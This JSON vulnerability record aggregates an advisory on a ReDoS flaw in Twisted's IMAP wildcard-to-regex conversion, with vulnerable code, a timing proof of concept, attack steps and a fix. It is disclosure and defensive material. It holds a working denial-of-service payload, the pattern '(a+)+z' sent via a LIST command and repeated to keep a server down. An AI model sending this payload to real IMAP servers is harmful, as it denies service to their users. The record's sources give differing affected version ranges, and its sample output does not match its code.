{"schema":"threatline.record/2","record":{"id":"CVE-2026-106454","aliases":["GHSA-8pqf-f4m5-798g","PYSEC-2026-4304"],"summary":"Twisted: IMAP wildcardToRegexp() ReDoS","details":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","categories":["Libraries & packages"],"product":"Twisted","vendor":"twisted","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8pqf-f4m5-798g","source_modified_at":"2026-10-15T14:02:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"Twisted"},"range":"<= 26.4.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-106454","source_modified_at":"2026-10-07T16:26:14.095Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"twisted","vendor":"twisted","versions":[{"version":"<= 25.5.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8pqf-f4m5-798g","source_modified_at":"2026-10-15T14:56:15.526407507Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"twisted","purl":"pkg:pypi/twisted"},"ranges":[{"events":[{"introduced":"0"},{"last_affected":"26.4.0"}],"type":"ECOSYSTEM"}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0"]}],"fixed_versions":[],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.0033,"percentile":0.24957,"score_date":"2026-10-23"},"published_at":"2026-10-06T19:55:36.523Z","modified_at":"2026-10-15T14:56:15.526407507Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-8pqf-f4m5-798g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-15T14:02:10Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-106454","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-07T16:26:14.095Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-8pqf-f4m5-798g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-15T14:56:15.526407507Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106454","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106454","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/twisted/twisted/pull/12788","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-8pqf-f4m5-798g","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-07T16:25:51.139114Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:56:15.526407507Z","content_hash":"85e30d1f3db2205e77a2bbca2f6adaabc934db86ad8c84ceece337c03f9204c0"}}
